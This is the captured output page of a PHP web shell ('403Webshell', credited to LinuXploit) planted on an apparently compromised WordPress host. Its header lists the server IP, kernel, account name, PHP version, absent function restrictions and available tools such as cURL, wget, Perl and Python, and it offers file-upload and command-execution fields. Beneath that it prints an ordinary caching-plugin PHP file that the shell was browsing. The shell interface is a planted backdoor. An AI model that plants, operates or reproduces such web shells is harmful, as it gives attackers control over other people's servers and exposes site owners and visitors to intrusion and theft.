403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/x9dppmxs4rgd/www/wp-content/plugins/wp-fastest-cache-premium/pro/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/x9dppmxs4rgd/www/wp-content/plugins/wp-fastest-cache-premium/pro/library/mobile-cache.php
<?php
	class WpFcMobileCache{
		private $folder_name = "wpfc-mobile-cache";
		private $wptouch = false;

		public function __construct(){

		}

		public function set_wptouch($status){
			$this->wptouch = $status;
		}

		public function delete_cache($wpContentDir){
			$mobile_cache_path = $wpContentDir."/cache/wpfc-mobile-cache";

			if(is_dir($mobile_cache_path)){
				if(is_dir($wpContentDir."/cache/tmpWpfc")){
					rename($mobile_cache_path, $wpContentDir."/cache/tmpWpfc/mobile_".time());
				}else if(@mkdir($wpContentDir."/cache/tmpWpfc", 0755, true)){
					rename($mobile_cache_path, $wpContentDir."/cache/tmpWpfc/mobile_".time());
				}
			}
		}

		public function update_htaccess($data){
			preg_match("/RewriteEngine\sOn(.+)/is", $data, $out);
			$htaccess = "\n##### mobile #####\n";
			$htaccess .= $out[0];

			if($this->wptouch){
				$wptouch_rule = "RewriteCond %{HTTP:Cookie} !^.*(wptouch-pro-view=desktop).*$";
				$htaccess = str_replace("RewriteCond %{HTTP:Cookie}", $wptouch_rule."\n"."RewriteCond %{HTTP:Cookie}", $htaccess);
			}

			$htaccess = str_replace("RewriteCond %{HTTP:Cookie} !safirmobilswitcher=mobil", "RewriteCond %{HTTP:Cookie} !safirmobilswitcher=masaustu", $htaccess);
			$htaccess = str_replace("RewriteCond %{HTTP_USER_AGENT} !^.*", "RewriteCond %{HTTP_USER_AGENT} ^.*", $htaccess);
			$htaccess = preg_replace("/\/cache\/all\//", "/cache/".$this->get_folder_name()."/", $htaccess);

			//$htaccess = preg_replace("/(\/cache\/)[^\/]+(\/.{1}1\/index\.html)/","$1".$this->get_folder_name()."$2", $htaccess);
			$htaccess .= "\n##### mobile #####\n";

			return $htaccess;
		}

		public function get_folder_name(){
			return $this->folder_name;
		}
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit